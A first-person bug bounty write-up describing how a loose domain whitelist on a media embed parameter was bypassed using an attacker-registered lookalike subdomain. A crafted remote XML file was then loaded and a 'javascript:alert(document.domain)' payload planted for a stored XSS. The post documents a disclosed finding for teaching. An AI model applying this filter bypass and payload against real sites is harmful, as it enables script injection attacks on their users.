In this story, I tell you how I was able to bypass the URL filtering rule to inject my own files into the server and eventually obtain stored XSS. As I can’t reveal the target let’s call it redacted.com. Using waybackurls on the target I found the following URL:

http://emp.redacted.com/embed.html?playlist=https://playlists.redacted.com/sport/0/football/34232917A/playlist.sxml

The playlist parameter was the URL to the XML file that delivered the data to render by the site. I immediately thought of injecting my own URL there. I tried but it only accepted the URL from *.redacted.com.  After some trials and errors, I successfully bypassed the filter. It accepted the url from *.redacted.com.myowndomain.com. The filter did not check if the string is properly ended, it checked if the whitelisted domain is within the given domain of the remote URL. I had my own domain berdzi.tk. This way I registered the subdomain like this:

redacted.com.berdzi.tk

ran my own server, put there my modified XML file there and put this url into browser:

http://emp.redacted.com/embed.html?playlist=http://playlists.redacted.com.berdzi.tk/playlist.xml

My own playlist data were rendered properly. I obtained Remote File Inclusion. There were some placeholders in XML I could change but it didn’t do anything malicious. Suddenly I noticed the URL to the main site of redacted.com in the corner. And this URL was placed inside the XML file. If I changed it, I get Open Redirect, however open redirect is not really dangerous. Fortunately there is a payload that allows to transform open redirect into XSS:

javascript:alert(document.domain)

I put it into the XML and I obtained stored XSS. It required user’s interaction, though. But it was fully functional stored XSS which I was proud of and could attack anoter users with it.

Reward: 👕

See you next bug 🙂